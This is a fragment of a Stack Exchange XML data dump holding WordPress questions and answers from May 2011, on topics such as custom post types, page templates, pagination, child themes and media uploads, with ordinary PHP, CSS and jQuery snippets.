  <row Id="17841" PostTypeId="2" ParentId="17053" CreationDate="2011-05-20T19:57:04.567" Score="0" ViewCount="" Body="&lt;p&gt;Answering my own question by way of an answer Chip has embedded in his excellent &lt;a href=&quot;http://www.chipbennett.net/2011/02/17/incorporating-the-settings-api-in-wordpress-themes/?all=1&amp;amp;doing_wp_cron&quot; rel=&quot;nofollow&quot; title=&quot;settings tutorial&quot;&gt;settings tutorial&lt;/a&gt;, namely: it's all about Correlating Function Arguments. Apparently some of the variable names/options group names I was using weren't lining up correctly.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2011-05-20T19:57:04.567" CommentCount="1" />
  <row Id="17842" PostTypeId="2" ParentId="11327" CreationDate="2011-05-20T19:57:15.007" Score="0" ViewCount="" Body="&lt;p&gt;I'm using this example &lt;a href=&quot;http://voodoopress.com/2011/03/review-of-posting-from-front-end-form/&quot; rel=&quot;nofollow&quot;&gt;http://voodoopress.com/2011/03/review-of-posting-from-front-end-form/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you only have to set your post type and use taxonomies if you like. You can set the post status to 'pending' so you must aprove the post before publishing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recomend you to use the code but checking if user is logged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My modified code: &lt;a href=&quot;http://pastebin.com/kwTYaqyT&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/kwTYaqyT&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="5520" LastActivityDate="2011-05-20T19:57:15.007" />
  <row Id="17843" PostTypeId="2" ParentId="17835" CreationDate="2011-05-20T20:42:51.503" Score="0" ViewCount="" Body="&lt;p&gt;I'm not able to install plugins atm to test, but maybe this plugin would work for the files you FTP - &lt;a href=&quot;http://wordpress.org/extend/plugins/add-from-server&quot; rel=&quot;nofollow&quot;&gt;Add From Server&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="5295" LastActivityDate="2011-05-20T20:42:51.503" />
  <row Id="17844" PostTypeId="2" ParentId="17835" CreationDate="2011-05-20T21:54:55.497" Score="2" ViewCount="" Body="&lt;p&gt;Why not just add &lt;code&gt;.txt&lt;/code&gt; to the file? It's probably the safest thing to do. If you need the file name to display without the extension, you can always filter the string. &lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-05-20T21:54:55.497" CommentCount="1" />
  <row Id="17845" PostTypeId="2" ParentId="15248" CreationDate="2011-05-20T22:31:41.250" Score="0" ViewCount="" Body="&lt;p&gt;For these situations build your own metabox for the tax terms and use radio or select.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;a href=&quot;https://github.com/c3mdigital/Custom-Metaboxes-and-Fields-for-WordPress/tree/patch-1&quot; rel=&quot;nofollow&quot;&gt;fork of Jared Atchison's Custom Meta Box class&lt;/a&gt; supports custom taxonomy metaboxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you get the metabox directory uploaded use this to create your meta box.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$prefix = 'xxx_';  //Add your own unique prefix.&#xA;$meta_boxes = array();&#xA;$meta_boxes[] = array(&#xA;    'id' =&amp;gt; 'test_metabox',&#xA;    'title' =&amp;gt; 'Test Metabox',&#xA;    'pages' =&amp;gt; array('page'), // post type&#xA;    'context' =&amp;gt; 'normal',&#xA;    'priority' =&amp;gt; 'high',&#xA;    'show_names' =&amp;gt; true, // Show field names on the left&#xA;    'fields' =&amp;gt; array(&#xA;          array(&#xA;           'name' =&amp;gt; 'Test Taxonomy Radio',&#xA;           'desc' =&amp;gt; 'Description Goes Here',&#xA;           'id' =&amp;gt; $prefix.'text_taxonomy_radio',&#xA;           'taxonomy' =&amp;gt; '', //Enter Taxonomy Slug&#xA;           'type' =&amp;gt; 'taxonomy-radio',  &#xA;        ),&#xA;    );&#xA;&#xA;require_once('metabox/init.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-05-20T22:31:41.250" />
  <row Id="17846" PostTypeId="1" CreationDate="2011-05-20T23:57:41.380" Score="0" ViewCount="42" Body="&lt;p&gt;I am doing a custom query, where the number of posts shall be different to the general wp setting. This is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;  query_posts('posts_per_page=7&amp;amp;paged=' . $paged);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is is used as an archive Template. The number of pages is correct, but if I click page 2,I get a 404. What could be the error?&lt;/p&gt;&#xA;" OwnerUserId="5548" LastActivityDate="2011-05-20T23:57:41.380" Title="Pagination+Page not found" Tags="&lt;query-posts&gt;" />
  <row Id="17847" PostTypeId="1" CreationDate="2011-05-21T00:27:08.663" Score="1" ViewCount="37" Body="&lt;p&gt;I'm working on an open-source software project and hoping to move and combine some disparate sites that it's on. Currently there is a main info/code site. Then there are two blogs for implementations of the project (it's used in developing countries, right now there's a blog for two different countries).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was planning on simply using a single instance of WP to drive the CMS - have the main info site and create the appearance of two separate blogs by having a category label for each of the two countries. I'm realizing as I start implementing that we'd want to have sidebar items like Archives unique to each of the two &quot;blogs&quot;. Relatively easy to do with a plugin that only shows a sidebar item only when, say, the URL contains category/country1*. However, when you look at a specific post, I lose that customization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's a simple way to implement this? I could probably use a few more plugins and (I assume) write some code to display different sidebars based on post category. Or would it be better to create a network?&lt;/p&gt;&#xA;" OwnerUserId="5547" LastActivityDate="2011-08-19T02:26:49.453" Title="WP for main site and two blogs - implementation" Tags="&lt;sidebar&gt;&lt;conditional-content&gt;&lt;multiple&gt;" AnswerCount="1" />
  <row Id="17848" PostTypeId="2" ParentId="17847" CreationDate="2011-05-21T00:33:58.697" Score="0" ViewCount="" Body="&lt;p&gt;you could use custom post types to keep them separate. or check in_category in single.php and load additional templates:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( in_category('country1') ) include (TEMPLATEPATH . '/single-country1.php');&#xA;elseif( in_category('country2') ) include (TEMPLATEPATH . '/single-country2.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-21T00:33:58.697" />
  <row Id="17849" PostTypeId="2" ParentId="17819" CreationDate="2011-05-21T00:48:27.623" Score="0" ViewCount="" Body="&lt;p&gt;if i understand your question correctly then have a go with Justin Tadlocks &lt;a href=&quot;http://wordpress.org/extend/plugins/get-the-image/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;get the image plugin&lt;/strong&gt;&lt;/a&gt;, olden but golden and does the default image per category etc.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-05-21T00:48:27.623" CommentCount="1" />
  <row Id="17850" PostTypeId="1" CreationDate="2011-05-21T00:58:32.063" Score="0" ViewCount="62" Body="&lt;p&gt;I'm not new to PHP, HTML, CSS, and the like, not at all, but I'm definitely new to creating Wordpress themes. I was recommended to use the Thematic theme as a base theme and modify it using functions and CSS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's essentially what I'm looking to do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Modify the header to be an image.&lt;/li&gt;&#xA;&lt;li&gt;Add a background image or images to &quot;nicen&quot; things up.&lt;/li&gt;&#xA;&lt;li&gt;Basically completely make the theme look different.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Maybe my line of logic is wrong, but I'm fighting the urge to copy over the PHP files defining the layout and modify them to fit. Is this the right approach? I want to basically be as free as possible to modify things dramatically. Should I just build a theme from scratch? &lt;/p&gt;&#xA;" OwnerUserId="5550" LastActivityDate="2011-06-29T04:29:19.840" Title="How to modify theme content in Thematic?" Tags="&lt;theme-development&gt;&lt;themes&gt;&lt;child-theme&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="17851" PostTypeId="2" ParentId="17850" CreationDate="2011-05-21T01:12:14.810" Score="1" ViewCount="" Body="&lt;p&gt;take a look into &lt;a href=&quot;http://wordpress.org/extend/themes/toolbox&quot; rel=&quot;nofollow&quot;&gt;toolbox&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-05-21T01:12:14.810" CommentCount="1" />
  <row Id="17852" PostTypeId="1" CreationDate="2011-05-21T02:24:00.027" Score="0" ViewCount="77" Body="&lt;p&gt;I have a working HTML/JS page that uses Google Maps: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://test.barrycarter.info/sunstuff.html&quot; rel=&quot;nofollow&quot;&gt;http://test.barrycarter.info/sunstuff.html&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I import this into wordpress.barrycarter.info? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply cutting/pasting or doing &quot;&lt;code&gt;&amp;lt;?php include()?&amp;gt;&lt;/code&gt;&quot; doesn't work, &#xA;since WP processes the result before displaying it, breaking the page: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.barrycarter.info/index.php/test-sunstuff-include-fail/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.barrycarter.info/index.php/test-sunstuff-include-fail/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(use &quot;view source&quot; to see the hideously mangled JS). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't even use the &quot;Google Maps v3 Shortcode&quot; plugin, since the map &#xA;overlays are generated client-side, not via KML. &lt;/p&gt;&#xA;" OwnerUserId="4849" LastEditorUserId="4849" LastEditorDisplayName="" LastEditDate="2011-05-21T11:56:26.703" LastActivityDate="2011-08-20T02:32:29.723" Title="Import HTML/JS post to WordPress?" Tags="&lt;import&gt;" AnswerCount="1" />
  <row Id="17853" PostTypeId="1" AcceptedAnswerId="17858" CreationDate="2011-05-21T02:25:00.650" Score="0" ViewCount="50" Body="&lt;p&gt;I want to display this file: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://data.barrycarter.info/aprswx.txt&quot; rel=&quot;nofollow&quot;&gt;http://data.barrycarter.info/aprswx.txt&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;on wordpress.barrycarter.info, but all my attempts fail because of &#xA;preprocessing: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.barrycarter.info/index.php/test-kml-fail&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.barrycarter.info/index.php/test-kml-fail&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(use &quot;view source&quot; to see what parts of the file WP &quot;hides&quot; from view). &lt;/p&gt;&#xA;" OwnerUserId="4849" LastActivityDate="2011-05-21T03:29:43.223" Title="Display KML (or other &quot;raw data&quot; file) nicely in WP?" Tags="&lt;formatting&gt;" AnswerCount="1" />
  <row Id="17854" PostTypeId="1" CreationDate="2011-05-21T02:25:48.043" Score="2" ViewCount="463" Body="&lt;p&gt;How do I make a WP page (w/ dynamic content) auto-refresh every minute? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With PHP, I'd use a &quot;Refresh:&quot; header, and in HTML I could use a &#xA;HTTP-EQUIV tag or something. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, WP generates headers itself, and I can't tweak anything until &#xA;the body, no? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched in vain for a plug-in that does this. &lt;/p&gt;&#xA;" OwnerUserId="4849" LastActivityDate="2011-09-02T15:29:53.183" Title="Auto-refresh page every minute?" Tags="&lt;headers&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="17855" PostTypeId="1" AcceptedAnswerId="17857" CreationDate="2011-05-21T02:29:43.877" Score="0" ViewCount="151" Body="&lt;p&gt;How do I change the formatting on &#xA;&lt;a href=&quot;http://wordpress.barrycarter.info/index.php/voronoi-temperature-map/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.barrycarter.info/index.php/voronoi-temperature-map/&lt;/a&gt; &#xA;so that (for example) the map's nearly flush with the bottom of the menubar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to edit page.php, since that'll change all pages, not just this one.&lt;/p&gt;&#xA;" OwnerUserId="4849" LastActivityDate="2011-05-21T06:49:56.287" Title="Change CSS/formatting on specific page, but not pages in general?" Tags="&lt;formatting&gt;" AnswerCount="2" />
  <row Id="17856" PostTypeId="2" ParentId="17434" CreationDate="2011-05-21T03:11:07.553" Score="0" ViewCount="" Body="&lt;p&gt;Since I couldn't edit the  tags that were being added but I could edit what was inside them, I added a closing  tag and re-opened a new  tag at the end of what I was inserting. Then just used CSS to hide the blank line they were adding around my content. Also set the href on both tags to #.... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fixed the Firefox issue which seemed to be the only thing picky enough... even the W3 validator said the code was ok. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the resulting code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li id=&quot;wp-admin-bar-switch_themes&quot; class=&quot;menupop&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;span&amp;gt;Switch Themes&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;ul&amp;gt;                                &#xA;        &amp;lt;li id=&quot;wp-admin-bar-abstractambienceantisocialapertureapzauldbackstagebig-easybiznizzbloggingstreamboastbold-newsbusy-beecaffeinatedcanvascanvas-buddypress-betachapterscinchcity-guidecodacoffee-breakcontinuumcrispcush&quot; class=&quot; themeswitchermenu&quot;&amp;gt; &#xA;            &amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;select name=&quot;themeswitcher&quot; onchange=&quot;location.href=this.options[this.selectedIndex].value;&quot; style=&quot;color: #000; text-shadow: none; margin: 10px;&quot;&amp;gt; &#xA;                &amp;lt;option&amp;gt;Blah&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/select&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;/a&amp;gt; &#xA;        &amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5435" LastActivityDate="2011-05-21T03:11:07.553" />
  <row Id="17857" PostTypeId="2" ParentId="17855" CreationDate="2011-05-21T03:19:15.227" Score="1" ViewCount="" Body="&lt;p&gt;After creating the specific CSS you need to format the page how you like, you could:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a &lt;a href=&quot;http://codex.wordpress.org/Pages#Page_Templates&quot; rel=&quot;nofollow&quot;&gt;custom page template&lt;/a&gt; with the CSS and assign the template this page.&lt;/li&gt;&#xA;&lt;li&gt;Create a page-{slug}.php file with the CSS, where {slug} is the page slug for this page (most likely the filename should be page-voronoi-temperature-map.php).&lt;/li&gt;&#xA;&lt;li&gt;Create a page-{ID}.php file, where if the page ID is 6, WordPress will look to use page-6.php.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;These three options were mentioned in the Codex, under &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#Page_display&quot; rel=&quot;nofollow&quot;&gt;Template Hierarchy&lt;/a&gt;. By using any of these 3 options, you can alter the layout for this page without affecting all the rest of your pages.&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2011-05-21T03:19:15.227" CommentCount="1" />
  <row Id="17858" PostTypeId="2" ParentId="17853" CreationDate="2011-05-21T03:29:43.223" Score="2" ViewCount="" Body="&lt;p&gt;Use a plugin like syntax highlighter evolved. &lt;a href=&quot;http://wordpress.org/extend/plugins/syntaxhighlighter/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/syntaxhighlighter/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or wrap it in &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;code&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-05-21T03:29:43.223" CommentCount="1" />
  <row Id="17859" PostTypeId="2" ParentId="17854" CreationDate="2011-05-21T04:18:37.770" Score="2" ViewCount="" Body="&lt;p&gt;you can add &lt;code&gt;&amp;lt;meta http-equiv=&quot;refresh&quot; content=&quot;60&quot;&amp;gt;&lt;/code&gt; to your header.php file in wordpress theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I removed the last bit of code and just made a plugin with read me file and the functions you would want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download the plugin from here &lt;a href=&quot;http://c211715.r15.cf1.rackcdn.com/auto_refresh.zip&quot; rel=&quot;nofollow&quot;&gt;WP Auto Refresh Plugin&lt;/a&gt; and install it from the beck-end. Note i did not create a graphical UI so the plugin will need to be modified from the file it self. Maybe ill develop a basic UI but for now i need to work on some other higher priority projects. the plugin can be found in your /wp-content/plugins directory under auto_refresh.&lt;/p&gt;&#xA;" OwnerUserId="4998" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-05-21T16:48:32.773" LastActivityDate="2011-05-21T16:48:32.773" CommentCount="7" />
  <row Id="17860" PostTypeId="1" AcceptedAnswerId="17871" CreationDate="2011-05-21T05:35:00.683" Score="0" ViewCount="51" Body="&lt;p&gt;I have never used the child theme function. so I am curious if it is possible to use this function to create a mobile version or no? I know that there are mobile plugins for this but I was curious if can use a child there for this&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-21T11:03:03.193" Title="use child theme for mobile version" Tags="&lt;child-theme&gt;" AnswerCount="1" />
  <row Id="17861" PostTypeId="2" ParentId="16304" CreationDate="2011-05-21T06:35:16.263" Score="0" ViewCount="" Body="&lt;p&gt;We can insert the image via Jquery. Here is the code. Before execute this code make sure JQuery JavaScript should be load in your page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;   jQuery(document).ready(function(){&#xA;        jQuery(&quot;#nav li ul .nav_spacer&quot;).before('&amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/images/nav_ul_tab.png&quot; class=&quot;nav_ul_tab&quot; /&amp;gt;')&#xA;   });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5553" LastActivityDate="2011-05-21T06:35:16.263" />
  <row Id="17862" PostTypeId="2" ParentId="17855" CreationDate="2011-05-21T06:49:56.287" Score="2" ViewCount="" Body="&lt;p&gt;If you look at the page source, you'll see that &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; has been given a class &lt;code&gt;page-id-1199&lt;/code&gt;. You can use that in your stylesheet to specify styles for that page alone.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.page-id-1199 #map { /* custom styles */ }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-05-21T06:49:56.287" />
  <row Id="17863" PostTypeId="1" CreationDate="2011-05-21T07:02:08.927" Score="1" ViewCount="216" Body="&lt;p&gt;Here's what I'd like to do: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) Create a custom post type and write panel for a menu item called &quot;My Stuff.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) &quot;My Stuff&quot; will behave like a category -- but the content will not appear in the main blog. It will only appear under &quot;My Stuff.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what do I need to do? Create another loop? If so, where would I put the second loop, and how would I create a link to &quot;My Stuff&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or should I add &quot;My Stuff&quot; to the loop in index.php, create a &quot;My Stuff&quot; category (or taxonomy) and filter &quot;My Stuff&quot; somehow so it only displays when certain fields are present?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apologies for the complicated question, but I find this all very confusing. None of the scattered tutorials available on the topic clearly explain how to display custom post type content anywhere other than on a page or through the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd appreciate any assistance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5486" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-22T01:51:30.000" LastActivityDate="2011-05-22T01:51:30.000" Title="How to list custom post types?" Tags="&lt;custom-post-types&gt;&lt;taxonomy&gt;&lt;archive&gt;&lt;the-loop&gt;&lt;custom-post-type-archives&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="17865" PostTypeId="2" ParentId="17863" CreationDate="2011-05-21T08:24:38.217" Score="0" ViewCount="" Body="&lt;p&gt;I just had to do something similar.  My solution was to create a template php file and then create a Page that used the template.  In the template was a WP_Query to create the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the top of the template file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php /* Template Name: &amp;lt;template name&amp;gt; */ ?&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and in the template file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args=array('post_type' =&amp;gt; 'my_stuff', 'posts_per_page' =&amp;gt; 10);&#xA;$loop = new WP_Query( $args );&#xA;while ($loop-&amp;gt;have_posts()) : $loop-&amp;gt;the_post();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I created a Page and in the attributes I selected the template name from the list.&lt;/p&gt;&#xA;" OwnerUserId="5555" LastActivityDate="2011-05-21T08:24:38.217" CommentCount="1" />
  <row Id="17866" PostTypeId="1" CreationDate="2011-05-21T08:53:23.257" Score="0" ViewCount="61" Body="&lt;p&gt;Recently I was going through wp hooks searching for neat way to catch load of specific page in admin and came across &lt;em&gt;load-$page&lt;/em&gt;. What i already know is $page represents a hook suffix returned by some of &lt;a href=&quot;http://codex.wordpress.org/Administration_Menus#Function_Reference&quot; rel=&quot;nofollow&quot;&gt;these&lt;/a&gt; and it's &quot;top-level&quot; hook - let me reg/dereg/enqueue scripts with no problem. I was hoping for some more first-hand info since i couldn't find any. For example, is it ok hooking load-$page for the purposes of saving custom settings, etc.&lt;/p&gt;&#xA;" OwnerUserId="4192" LastActivityDate="2011-05-21T08:53:23.257" Title="Looking for load-$page hook info. Underused or unreliable?" Tags="&lt;hooks&gt;&lt;pages&gt;" />
  <row Id="17867" PostTypeId="2" ParentId="17668" CreationDate="2011-05-21T09:42:57.413" Score="1" ViewCount="" Body="&lt;p&gt;Eventually tracked it down to a Wordpress add-in.  There was an error in the Google Analytic code that had an extra script attached which should not have been there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for help and advice.&lt;/p&gt;&#xA;" OwnerUserId="5556" LastActivityDate="2011-05-21T09:42:57.413" />
  <row Id="17868" PostTypeId="1" AcceptedAnswerId="17883" CreationDate="2011-05-21T10:21:11.527" Score="5" ViewCount="217" Body="&lt;p&gt;I'm updating a plugin of mine and am have a hard time figuring out the &quot;best way&quot; to build in a specific bit of functionality. The plugin allows users to associate images from their media library to any term of any taxonomy. I'm currently working on creating functions that users can add to their themes and plugins to get the data stored by the plugin. The code I have so far can be viewed here: &lt;a href=&quot;https://github.com/mfields/Taxonomy-Images/blob/master/public-filters.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/mfields/Taxonomy-Images/blob/master/public-filters.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The functionality presented in this file enables users to get the image of the term currently being queried (for taxonomy archive views) and another function is basically a wrapper for core function &lt;code&gt;get_terms()&lt;/code&gt; which will return all terms of a given taxonomy while adding the image id to each term object. I would like to add a third function to the file before release. This would be a wrapper for &lt;code&gt;get_the_terms()&lt;/code&gt; and would return all terms associated with the global post object that have images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking about modeling the &lt;code&gt;get_the_terms()&lt;/code&gt; function after the &lt;code&gt;get_terms()&lt;/code&gt; function which has built in caching for the image files. But I'm a bit afraid of what would happen when this function was used in the loop in any archive template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically the workflow would go something like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Get all image/term associations (0 queries).&lt;/li&gt;&#xA;&lt;li&gt;Get terms associated with the global post: &lt;code&gt;get_the_terms()&lt;/code&gt; (0 queries).&lt;/li&gt;&#xA;&lt;li&gt;Query for all images associated with the terms (3 queries). This is done by creating a list of all image ID's and passing them to &lt;code&gt;get_posts()&lt;/code&gt; via the &lt;code&gt;include&lt;/code&gt; parameter.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;IMHO this is fine to do in single views (single.php, page.php, etc.) but what would happen if a user was to use this function in the loop in an archive views? You will need to multiply 3 queries (produced by &lt;code&gt;get_posts()&lt;/code&gt;) by the value of the posts-per-page setting (10 in a default WordPress installation). So now we're at 30 total queries. It gets kinda ugly fast! Especially if users want images from more than one taxonomy displayed. 2 taxonomies per post would add 60 to what WordPress needs to do!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically there are a few paths to take moving forward and I would like to know what you would do in a situation like this.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Do not build the functionality at all.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Build the function and educate users that a caching plugin should be installed if they use get_the_terms() in archive views.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Build the function + create another function that will cache all images before an archive template is loaded. This process would involve something like: After the &lt;code&gt;$posts&lt;/code&gt; array has been generated (but before the template has been loaded), loop over all posts in the array calling get_the_terms() each iteration for every public taxonomy. The output of all term objects would be stored in a new array. Then, I could determine which images are associated with each term of every taxonomy and pass the image IDs to &lt;code&gt;get_posts()&lt;/code&gt; in one shot. This would allow all image info to be cached for use in the template in 3 queries instead of 30, 60 or 90.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;IMHO 3 seems like a logical way to go, but I'm not really sure if it would be an anti optimization or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know your thoughts about this!&lt;/p&gt;&#xA;" OwnerUserId="1367" LastEditorUserId="1367" LastEditorDisplayName="" LastEditDate="2011-05-22T12:30:56.343" LastActivityDate="2011-05-22T12:30:56.343" Title="How to organize and cache additional data associated with terms?" Tags="&lt;taxonomy&gt;&lt;query&gt;&lt;get-posts&gt;&lt;caching&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="17870" PostTypeId="1" AcceptedAnswerId="17872" CreationDate="2011-05-21T10:46:28.260" Score="1" ViewCount="124" Body="&lt;p&gt;I am using a front end script to upload images , all works fine but recently i noticed the uploaded images are not saved in proper directory. My settings are to Organize my uploads into month- and year-based folders. my folders are 2011-&gt;03,04,05 (march , April , may). The problem is that if i upload a file today it saves in folder 03(March). If i use wp_handle_upload then the image is saved in proper folder 05 (May) , but then the image is not shown in media library and the different sizes are not made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code i am using is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$image = media_handle_upload('async-upload', '');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3468" LastActivityDate="2011-05-23T10:39:03.333" Title="media_handle_upload weird thing" Tags="&lt;customization&gt;&lt;3.1&gt;&lt;coding&gt;&lt;media-upload&gt;" AnswerCount="1" />
  <row Id="17871" PostTypeId="2" ParentId="17860" CreationDate="2011-05-21T11:03:03.193" Score="1" ViewCount="" Body="&lt;p&gt;I don't see why it wouldn't be possible. I use a switch plugin to display a totally different theme for mobile. A child theme is a totally different theme. The dependencies on the parent theme should still work, as they are WP functions built in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give it a try with a super simple child theme so you don't waste too much time. Just set up the style.css, use the import rule, but do something simple and drastic like changing a really obvious colour. See if it works.&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-05-21T11:03:03.193" CommentCount="1" />
